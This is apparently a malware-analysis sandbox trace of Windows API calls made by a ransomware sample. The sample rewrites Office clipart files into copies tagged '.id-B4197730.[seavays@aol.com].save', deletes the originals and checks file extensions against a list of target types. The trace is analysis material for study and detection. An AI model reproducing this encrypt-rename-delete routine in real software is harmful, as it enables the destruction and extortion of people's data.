WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.427] SetEndOfFile (hFile=0x388) returned 1 [0062.427] CloseHandle (hObject=0x388) returned 1 [0062.428] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.428] SetEndOfFile (hFile=0x384) returned 1 [0062.429] CloseHandle (hObject=0x384) returned 1 [0062.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0062.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0062.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0062.430] lstrlenW (lpString=".doc") returned 4 [0062.430] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.430] lstrlenW (lpString=".docx") returned 5 [0062.430] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.430] lstrlenW (lpString=".pdf") returned 4 [0062.430] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.430] lstrlenW (lpString=".xls") returned 4 [0062.430] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.430] lstrlenW (lpString=".xlsx") returned 5 [0062.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.430] lstrlenW (lpString=".ppt") returned 4 [0062.430] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0062.430] lstrlenW (lpString=".zip") returned 4 [0062.430] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.430] lstrlenW (lpString=".rar") returned 4 [0062.430] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.430] lstrlenW (lpString=".bz2") returned 4 [0062.431] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.431] lstrlenW (lpString=".7z") returned 3 [0062.431] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0062.431] lstrlenW (lpString=".dbf") returned 4 [0062.431] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0062.431] lstrlenW (lpString=".1cd") returned 4 [0062.431] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0062.431] lstrlenW (lpString=".jpg") returned 4 [0062.431] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.432] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.432] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0062.432] GetLastError () returned 0x0 [0062.432] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x14ff, lpOverlapped=0x0) returned 1 [0062.434] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1500, lpOverlapped=0x0) returned 1 [0062.435] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.435] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.435] SetEndOfFile (hFile=0x388) returned 1 [0062.435] CloseHandle (hObject=0x388) returned 1 [0062.436] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.436] SetEndOfFile (hFile=0x384) returned 1 [0062.437] CloseHandle (hObject=0x384) returned 1 [0062.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0062.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0062.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0062.438] lstrlenW (lpString=".doc") returned 4 [0062.438] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.438] lstrlenW (lpString=".docx") returned 5 [0062.438] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.438] lstrlenW (lpString=".pdf") returned 4 [0062.438] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.438] lstrlenW (lpString=".xls") returned 4 [0062.438] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.438] lstrlenW (lpString=".xlsx") returned 5 [0062.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.438] lstrlenW (lpString=".ppt") returned 4 [0062.438] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0062.438] lstrlenW (lpString=".zip") returned 4 [0062.438] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.438] lstrlenW (lpString=".rar") returned 4 [0062.438] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.438] lstrlenW (lpString=".bz2") returned 4 [0062.438] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.438] lstrlenW (lpString=".7z") returned 3 [0062.439] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0062.439] lstrlenW (lpString=".dbf") returned 4 [0062.439] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0062.439] lstrlenW (lpString=".1cd") returned 4 [0062.439] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0062.439] lstrlenW (lpString=".jpg") returned 4 [0062.439] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.439] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.439] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0062.440] GetLastError () returned 0x0 [0062.440] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2420, lpOverlapped=0x0) returned 1 [0062.442] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2430, lpOverlapped=0x0) returned 1 [0062.443] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.443] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.443] SetEndOfFile (hFile=0x388) returned 1 [0062.443] CloseHandle (hObject=0x388) returned 1 [0062.444] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.444] SetEndOfFile (hFile=0x384) returned 1 [0062.445] CloseHandle (hObject=0x384) returned 1 [0062.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0062.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0062.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0062.446] lstrlenW (lpString=".doc") returned 4 [0062.446] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.446] lstrlenW (lpString=".docx") returned 5 [0062.447] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.447] lstrlenW (lpString=".pdf") returned 4 [0062.447] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.447] lstrlenW (lpString=".xls") returned 4 [0062.447] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.447] lstrlenW (lpString=".xlsx") returned 5 [0062.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.447] lstrlenW (lpString=".ppt") returned 4 [0062.447] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0062.447] lstrlenW (lpString=".zip") returned 4 [0062.447] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.447] lstrlenW (lpString=".rar") returned 4 [0062.447] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.447] lstrlenW (lpString=".bz2") returned 4 [0062.447] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.447] lstrlenW (lpString=".7z") returned 3 [0062.447] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0062.447] lstrlenW (lpString=".dbf") returned 4 [0062.447] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0062.447] lstrlenW (lpString=".1cd") returned 4 [0062.447] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0062.447] lstrlenW (lpString=".jpg") returned 4 [0062.447] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.448] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.448] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0062.449] GetLastError () returned 0x0 [0062.449] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1398, lpOverlapped=0x0) returned 1 [0062.453] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13a0, lpOverlapped=0x0) returned 1 [0062.454] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.454] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.454] SetEndOfFile (hFile=0x388) returned 1 [0062.454] CloseHandle (hObject=0x388) returned 1 [0062.455] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.455] SetEndOfFile (hFile=0x384) returned 1 [0062.456] CloseHandle (hObject=0x384) returned 1 [0062.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0062.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0062.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0062.457] lstrlenW (lpString=".doc") returned 4 [0062.457] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.457] lstrlenW (lpString=".docx") returned 5 [0062.457] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.457] lstrlenW (lpString=".pdf") returned 4 [0062.457] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.457] lstrlenW (lpString=".xls") returned 4 [0062.457] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.457] lstrlenW (lpString=".xlsx") returned 5 [0062.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.457] lstrlenW (lpString=".ppt") returned 4 [0062.458] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0062.458] lstrlenW (lpString=".zip") returned 4 [0062.458] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.458] lstrlenW (lpString=".rar") returned 4 [0062.458] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.458] lstrlenW (lpString=".bz2") returned 4 [0062.458] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.458] lstrlenW (lpString=".7z") returned 3 [0062.458] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0062.458] lstrlenW (lpString=".dbf") returned 4 [0062.458] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0062.458] lstrlenW (lpString=".1cd") returned 4 [0062.458] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0062.458] lstrlenW (lpString=".jpg") returned 4 [0062.458] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.459] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.459] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0062.459] GetLastError () returned 0x0 [0062.459] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1126, lpOverlapped=0x0) returned 1 [0062.946] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1130, lpOverlapped=0x0) returned 1 [0062.947] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.947] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.947] SetEndOfFile (hFile=0x388) returned 1 [0062.948] CloseHandle (hObject=0x388) returned 1 [0062.949] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.949] SetEndOfFile (hFile=0x384) returned 1 [0062.950] CloseHandle (hObject=0x384) returned 1 [0062.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0062.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0062.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0062.950] lstrlenW (lpString=".doc") returned 4 [0062.950] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.950] lstrlenW (lpString=".docx") returned 5 [0062.951] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.951] lstrlenW (lpString=".pdf") returned 4 [0062.951] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.951] lstrlenW (lpString=".xls") returned 4 [0062.951] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.951] lstrlenW (lpString=".xlsx") returned 5 [0062.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.951] lstrlenW (lpString=".ppt") returned 4 [0062.951] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0062.951] lstrlenW (lpString=".zip") returned 4 [0062.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.951] lstrlenW (lpString=".rar") returned 4 [0062.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.951] lstrlenW (lpString=".bz2") returned 4 [0062.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.951] lstrlenW (lpString=".7z") returned 3 [0062.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0062.951] lstrlenW (lpString=".dbf") returned 4 [0062.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0062.951] lstrlenW (lpString=".1cd") returned 4 [0062.951] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0062.951] lstrlenW (lpString=".jpg") returned 4 [0062.951] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.952] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.952] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0062.953] GetLastError () returned 0x0 [0062.953] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x385c, lpOverlapped=0x0) returned 1 [0062.955] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3860, lpOverlapped=0x0) returned 1 [0062.956] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.956] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.956] SetEndOfFile (hFile=0x388) returned 1 [0062.956] CloseHandle (hObject=0x388) returned 1 [0062.957] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.957] SetEndOfFile (hFile=0x384) returned 1 [0062.958] CloseHandle (hObject=0x384) returned 1 [0062.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0062.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0062.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0062.959] lstrlenW (lpString=".doc") returned 4 [0062.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.959] lstrlenW (lpString=".docx") returned 5 [0062.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.959] lstrlenW (lpString=".pdf") returned 4 [0062.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.959] lstrlenW (lpString=".xls") returned 4 [0062.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.959] lstrlenW (lpString=".xlsx") returned 5 [0062.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.959] lstrlenW (lpString=".ppt") returned 4 [0062.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0062.959] lstrlenW (lpString=".zip") returned 4 [0062.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.959] lstrlenW (lpString=".rar") returned 4 [0062.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.959] lstrlenW (lpString=".bz2") returned 4 [0062.959] lstrcmpiW 